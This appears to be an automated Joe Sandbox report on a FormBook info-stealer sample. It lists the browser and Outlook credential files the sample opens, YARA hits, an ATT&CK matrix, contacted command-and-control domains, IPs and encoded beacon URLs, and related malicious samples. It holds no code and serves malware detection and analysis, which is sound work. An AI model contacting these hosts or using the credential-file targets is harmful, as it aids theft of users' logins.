Source: C:\Windows\SysWOW64\tzutil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\tzutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.5CTbduoXq4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.5CTbduoXq4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.49197292849.0000000001490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49198655128.0000000000E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49198539173.0000000000E40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44647403397.0000000002400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44647224128.0000000001880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5CTbduoXq4.exe	58%	Virustotal		Browse
5CTbduoXq4.exe	91%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
5CTbduoXq4.exe	100%	Avira	TR/AD.Nekark.qhwds
5CTbduoXq4.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.070001325.xyz/gebt/?oRQ0=OV24X0&kR8XbB2P=vv4Z5oAEVW8Fnw5/zn34qddpesTmADAa7eW6m5kMXrJjwDKHwLvNIch6hCLbwWC7cjqqbjXxYb26MUHQV2edm3lgIJJElGJSFpRc3yLJsQRBHErejb5RRes=	0%	Avira URL Cloud	safe
http://www.397256.pink/jo65/?kR8XbB2P=hjaxT7ABO46ercCzU5jTbSXY4mrNqLZSBJHcmNwepChuPKFV1mqvJ62aMu+yfR8UiTr4IO7Rg/lCNSZ1SGAGOdoGTm5yu7zX00VDXrhTS1wkXbjXSP7JuDM=&oRQ0=OV24X0	0%	Avira URL Cloud	safe
http://www.likesharecomment.net/nqht/	0%	Avira URL Cloud	safe
http://www.jijievo.site/ao44/	0%	Avira URL Cloud	safe
http://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0	100%	Avira URL Cloud	malware
http://www.windsky.click/3jkd/	0%	Avira URL Cloud	safe
https://l3filejson4dvd.josyliving.com/favicon.ico	0%	Avira URL Cloud	safe
http://www.windsky.click	0%	Avira URL Cloud	safe
https://www.cssa.auction/gmd5/?kR8XbB2P=Ekgx1MvUYLrGHUKx8CCe7U4VyzptkZh1uIGTrOYSeAMN1zfbKp4H9sCFOEig	100%	Avira URL Cloud	malware
http://www.learnwithus.site/a6qk/	0%	Avira URL Cloud	safe
http://www.oneeyetrousersnake.xyz/ior4/?kR8XbB2P=qN30lcONX0xcpHUAAhvyj1Pv1cDbnDATbaHk9wrQRLO/f97LhCWTCN+B+7oddRZtH3jrumds1aNZL30micA1Qm7DijxG6YFVsewlnHAo5bGZBCo69txMx8s=&oRQ0=OV24X0	0%	Avira URL Cloud	safe
http://www.397256.pink/jo65/	0%	Avira URL Cloud	safe
https://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ	100%	Avira URL Cloud	malware
http://www.likesharecomment.net/nqht/?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec=	0%	Avira URL Cloud	safe
http://www.smartcongress.net/d0ie/?kR8XbB2P=PpBKX3j27/q2RET7vQCRcB12LbcAd2XcLUxm8s0q4RgJtpH2c7muacbg9DKvGIpjEVtHl43RcrDWdq7OAyJmqhK4ooMesKrpt7PRBDGK2bCSIZc4egA7CPo=&oRQ0=OV24X0	0%	Avira URL Cloud	safe
https://dq0ib5xlct7tw.cloudfront.net/	0%	Avira URL Cloud	safe
http://www.windsky.click/3jkd/?oRQ0=OV24X0&kR8XbB2P=viqvvCAhbaK/XzQZUz/lY2liCTl6q/4oZG6aYolEdOIRljqehA+X2d4A19u6o+Q4sdEI/GJ3MO62J6fzB1X/Ewa0fcqnV5vszuHoPlnDmrWLQllTqa4ER4w=	0%	Avira URL Cloud	safe
http://www.jijievo.site/ao44/?kR8XbB2P=A8vWRSiUvmcasJ07/NpOWS/H0MqtLTroBnzJfQrGbsug5jYLYHm4CN9bVirMn9O9ScG8tIl9AuaKp46Lw3rsCpOYQ0f4st+AaewtJ/VKFlp1ZaW7QUFsLc4=&oRQ0=OV24X0	0%	Avira URL Cloud	safe
http://www.oneeyetrousersnake.xyz/ior4/	0%	Avira URL Cloud	safe
http://www.taxiquynhonnew.click/y49d/	100%	Avira URL Cloud	malware
http://www.smartcongress.net/d0ie/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
all.wjscdn.com	154.205.159.116	true	true	unknown
www.397256.pink	38.46.13.54	true	true	unknown
mmd.dnsmmd.com	20.2.113.172	true	false	unknown
www.zkdamdjj.shop	104.21.40.167	true	true	unknown
cssa.auction	107.167.84.42	true	true	unknown
www.expancz.top	107.155.56.30	true	true	unknown
www.learnwithus.site	209.74.77.107	true	true	unknown
dns.ladipage.com	13.228.81.39	true	false	high
www.acond-22-mvr.click	199.59.243.228	true	true	unknown
oneeyetrousersnake.xyz	63.250.43.134	true	true	unknown
www.windsky.click	46.253.5.221	true	true	unknown
smartcongress.net	146.88.233.115	true	true	unknown
www.nonpressure.beauty	104.21.4.93	true	true	unknown
www.070001325.xyz	161.97.142.144	true	true	unknown
likesharecomment.net	3.33.130.190	true	true	unknown
www.mdpc7.top	unknown	unknown	false	unknown
www.theressome123ppl.info	unknown	unknown	false	unknown
www.epitomize.shop	unknown	unknown	false	unknown
www.cssa.auction	unknown	unknown	false	unknown
www.jijievo.site	unknown	unknown	false	unknown
www.taxiquynhonnew.click	unknown	unknown	false	unknown
www.likesharecomment.net	unknown	unknown	false	unknown
www.oneeyetrousersnake.xyz	unknown	unknown	true	unknown
www.smartcongress.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.070001325.xyz/gebt/?oRQ0=OV24X0&kR8XbB2P=vv4Z5oAEVW8Fnw5/zn34qddpesTmADAa7eW6m5kMXrJjwDKHwLvNIch6hCLbwWC7cjqqbjXxYb26MUHQV2edm3lgIJJElGJSFpRc3yLJsQRBHErejb5RRes=	true	Avira URL Cloud: safe	unknown
http://www.397256.pink/jo65/?kR8XbB2P=hjaxT7ABO46ercCzU5jTbSXY4mrNqLZSBJHcmNwepChuPKFV1mqvJ62aMu+yfR8UiTr4IO7Rg/lCNSZ1SGAGOdoGTm5yu7zX00VDXrhTS1wkXbjXSP7JuDM=&oRQ0=OV24X0	true	Avira URL Cloud: safe	unknown
http://www.jijievo.site/ao44/	true	Avira URL Cloud: safe	unknown
http://www.likesharecomment.net/nqht/	true	Avira URL Cloud: safe	unknown
http://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0	true	Avira URL Cloud: malware	unknown
http://www.windsky.click/3jkd/	true	Avira URL Cloud: safe	unknown
http://www.learnwithus.site/a6qk/	true	Avira URL Cloud: safe	unknown
http://www.likesharecomment.net/nqht/?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec=	true	Avira URL Cloud: safe	unknown
http://www.397256.pink/jo65/	true	Avira URL Cloud: safe	unknown
http://www.jijievo.site/ao44/?kR8XbB2P=A8vWRSiUvmcasJ07/NpOWS/H0MqtLTroBnzJfQrGbsug5jYLYHm4CN9bVirMn9O9ScG8tIl9AuaKp46Lw3rsCpOYQ0f4st+AaewtJ/VKFlp1ZaW7QUFsLc4=&oRQ0=OV24X0	true	Avira URL Cloud: safe	unknown
http://www.smartcongress.net/d0ie/?kR8XbB2P=PpBKX3j27/q2RET7vQCRcB12LbcAd2XcLUxm8s0q4RgJtpH2c7muacbg9DKvGIpjEVtHl43RcrDWdq7OAyJmqhK4ooMesKrpt7PRBDGK2bCSIZc4egA7CPo=&oRQ0=OV24X0	true	Avira URL Cloud: safe	unknown
http://www.taxiquynhonnew.click/y49d/	true	Avira URL Cloud: malware	unknown
http://www.oneeyetrousersnake.xyz/ior4/?kR8XbB2P=qN30lcONX0xcpHUAAhvyj1Pv1cDbnDATbaHk9wrQRLO/f97LhCWTCN+B+7oddRZtH3jrumds1aNZL30micA1Qm7DijxG6YFVsewlnHAo5bGZBCo69txMx8s=&oRQ0=OV24X0	true	Avira URL Cloud: safe	unknown
http://www.windsky.click/3jkd/?oRQ0=OV24X0&kR8XbB2P=viqvvCAhbaK/XzQZUz/lY2liCTl6q/4oZG6aYolEdOIRljqehA+X2d4A19u6o+Q4sdEI/GJ3MO62J6fzB1X/Ewa0fcqnV5vszuHoPlnDmrWLQllTqa4ER4w=	true	Avira URL Cloud: safe	unknown
http://www.oneeyetrousersnake.xyz/ior4/	true	Avira URL Cloud: safe	unknown
http://www.smartcongress.net/d0ie/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201521257.0000000007AD1000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	false		high
https://l3filejson4dvd.josyliving.com/favicon.ico	tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201521257.0000000007AD1000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	false		high
https://duckduckgo.com/ac/?q=	UQ63g7r-.4.dr	false		high
https://www.cssa.auction/gmd5/?kR8XbB2P=Ekgx1MvUYLrGHUKx8CCe7U4VyzptkZh1uIGTrOYSeAMN1zfbKp4H9sCFOEig	tzutil.exe, 00000004.00000002.49200063559.0000000005282000.00000004.10000000.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000005022000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tzutil.exe, 00000004.00000002.49201521257.0000000007AD1000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	false		high
http://www.windsky.click	QgsPQaUVZZ.exe, 00000005.00000002.49197292849.00000000014EB000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://browsehappy.com/	tzutil.exe, 00000004.00000002.49200063559.0000000004DCC000.00000004.10000000.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000004B6C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://s.yimg.com/wi/ytc.js	tzutil.exe, 00000004.00000002.49200063559.0000000003C86000.00000004.10000000.00040000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	UQ63g7r-.4.dr	false		high
https://analytics.tiktok.com/i18n/pixel/events.js	tzutil.exe, 00000004.00000002.49200063559.0000000003C86000.00000004.10000000.00040000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	false		high
https://connect.facebook.net/en_US/fbevents.js	tzutil.exe, 00000004.00000002.49200063559.0000000003C86000.00000004.10000000.00040000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	false		high
https://dq0ib5xlct7tw.cloudfront.net/	QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ	tzutil.exe, 00000004.00000002.49200063559.0000000003E18000.00000004.10000000.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003BB8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.253.5.221	www.windsky.click	Bulgaria	44814	BTEL-BG-ASBG	true
146.88.233.115	smartcongress.net	France	53589	PLANETHOSTER-8CA	true
161.97.142.144	www.070001325.xyz	United States	51167	CONTABODE	true
209.74.77.107	www.learnwithus.site	United States	31744	MULTIBAND-NEWHOPEUS	true
154.205.159.116	all.wjscdn.com	Seychelles	26484	IKGUL-26484US	true
20.2.113.172	mmd.dnsmmd.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.2.36.112	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.228.81.39	dns.ladipage.com	United States	16509	AMAZON-02US	false
107.155.56.30	www.expancz.top	United States	135377	UHGL-AS-APUCloudHKHoldingsGroupLimitedHK	true
38.46.13.54	www.397256.pink	United States	174	COGENT-174US	true
63.250.43.134	oneeyetrousersnake.xyz	United States	22612	NAMECHEAP-NETUS	true
3.33.130.190	likesharecomment.net	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588262
Start date and time:	2025-01-10 23:17:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	5CTbduoXq4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@21/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 94% Number of executed functions: 132 Number of non-executed functions: 296
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 204.79.197.237
Excluded domains from analysis (whitelisted): www.bing.com
Execution Graph export aborted for target QgsPQaUVZZ.exe, PID 2772 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:20:58	API Interceptor	27214480x Sleep call for process: tzutil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.253.5.221	file.exe	Get hash	malicious	FormBook	Browse	www.windsky.click/gybb/
146.88.233.115	bkTW1FbgHN.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/rwyw/
	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	www.smartcongress.net/m1g9/
	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/qtfx/
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/m1g9/
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.smartcongress.net/qtfx/
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.smartcongress.net/11t3/
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.smartcongress.net/11t3/
	Purchase Order PO.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/qtfx/
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/11t3/
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.smartcongress.net/11t3/
161.97.142.144	gKvjKMCUfq.exe	Get hash	malicious	FormBook	Browse	www.nb-shenshi.buzz/mz7t/
	SC_TR11670000_pdf.exe	Get hash	malicious	FormBook	Browse	www.030002059.xyz/er88/
	RFQ3978 39793980.pdf.exe	Get hash	malicious	FormBook	Browse	www.030002350.xyz/1a7n/
	SHIPPING DOCUMENTS_PDF.exe	Get hash	malicious	FormBook	Browse	www.070001813.xyz/gn0y/
	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.070002018.xyz/6m2n/
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.070001325.xyz/gebt/?INvlf=vv4Z5oAEVW8Fnw5+v3rC78A1apnlABoa7eW6m5kMXrJjwDKHwLvNIdd6hCLbwWC7cjqqbjXxYb26MUHQV2edmwlqePdZlnBGcJVL9hTasAQSXzj69w==&afo=JnyH0Z2
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.070002018.xyz/6m2n/
	Order MEI PO IM202411484.exe	Get hash	malicious	FormBook	Browse	www.030002613.xyz/xd9h/
	Documents.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.030002449.xyz/cfqm/
	PAYMENT_TO_NFTC_(CUB)_26-11-24.doc	Get hash	malicious	DarkTortilla, FormBook	Browse	www.070001955.xyz/7zj0/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
all.wjscdn.com	0Wu31IhwGO.exe	Get hash	malicious	FormBook	Browse	154.205.156.26
	gKvjKMCUfq.exe	Get hash	malicious	FormBook	Browse	154.205.156.26
	aBEh0fsi2c.exe	Get hash	malicious	FormBook	Browse	154.90.58.209
	ORDER-401.exe	Get hash	malicious	FormBook	Browse	154.205.159.116
	01152-11-12-24.exe	Get hash	malicious	FormBook	Browse	154.90.58.209
	DRAFT COPY BL, CI & PL.exe	Get hash	malicious	FormBook	Browse	154.90.58.209
	New Order.exe	Get hash	malicious	FormBook	Browse	154.90.35.240
	TNT Express Delivery Consignment AWD 87993766479.vbs	Get hash	malicious	FormBook	Browse	38.54.112.227
	Payment-251124.exe	Get hash	malicious	FormBook	Browse	154.205.159.116
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	38.54.112.227
www.zkdamdjj.shop	M7XS5C07kV.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	Invoice 10493.exe	Get hash	malicious	FormBook	Browse	172.67.187.114
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.187.114
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	172.67.187.114
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	172.67.187.114
	BASF Hung#U00e1ria Kft.exe	Get hash	malicious	FormBook	Browse	104.21.40.167
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	104.21.40.167
	TNT Express Delivery Consignment AWD 87993766479.vbs	Get hash	malicious	FormBook	Browse	172.67.187.114
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	104.21.40.167
mmd.dnsmmd.com	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	20.2.36.112
mmd.dnsmmd.com	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	20.2.36.112
www.397256.pink	ORDER-401.exe	Get hash	malicious	FormBook	Browse	38.46.13.54

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BTEL-BG-ASBG	file.exe	Get hash	malicious	FormBook	Browse	46.253.5.221
	jAjWw92QKR.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	46.253.4.252
	SecuriteInfo.com.FileRepMalware.16004.4080.exe	Get hash	malicious	Unknown	Browse	95.169.204.138
	SecuriteInfo.com.Trojan.WinGo.Agent.27329.6060.exe	Get hash	malicious	Unknown	Browse	95.169.204.138
	file.exe	Get hash	malicious	GCleaner, Raccoon Stealer v2	Browse	95.169.205.186
	xzQ4Zf3975.exe	Get hash	malicious	Raccoon Stealer v2	Browse	95.169.205.186
	60lAWJYfsL.exe	Get hash	malicious	Raccoon Stealer v2	Browse	95.169.205.186
	http://fwtnp.dfbf.maderclean.cl/giorgiobelfiore@dececco.it	Get hash	malicious	Unknown	Browse	185.7.219.103
	GVlpP9RL5t	Get hash	malicious	Mirai	Browse	95.169.222.123
MULTIBAND-NEWHOPEUS	gH3LlhcRzg.exe	Get hash	malicious	FormBook	Browse	209.74.79.40
	0Wu31IhwGO.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	9MZZG92yMO.exe	Get hash	malicious	FormBook	Browse	209.74.79.41
	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	J1VpshZJfm.exe	Get hash	malicious	FormBook	Browse	209.74.79.42
	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	209.74.79.42
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	209.74.79.42
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	rQuotation.exe	Get hash	malicious	FormBook	Browse	209.74.79.40
PLANETHOSTER-8CA	bkTW1FbgHN.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	146.88.233.115
	PO2412010.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	146.88.233.115
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	146.88.233.115
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	146.88.233.115
	Purchase Order PO.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	Quotation.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
CONTABODE	0Wu31IhwGO.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	gKvjKMCUfq.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	https://eu2.contabostorage.com/69e36f1a5de941bb877627f90e79fd6d:gip/document.html#phishme@arrowbank.com	Get hash	malicious	HTMLPhisher	Browse	173.249.62.84
	https://eu2.contabostorage.com/69e36f1a5de941bb877627f90e79fd6d:gip/document.html#phishme@arrowbank.com	Get hash	malicious	HTMLPhisher	Browse	173.249.62.84
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	82eqjqLrzE.exe	Get hash	malicious	AsyncRAT	Browse	144.91.79.54
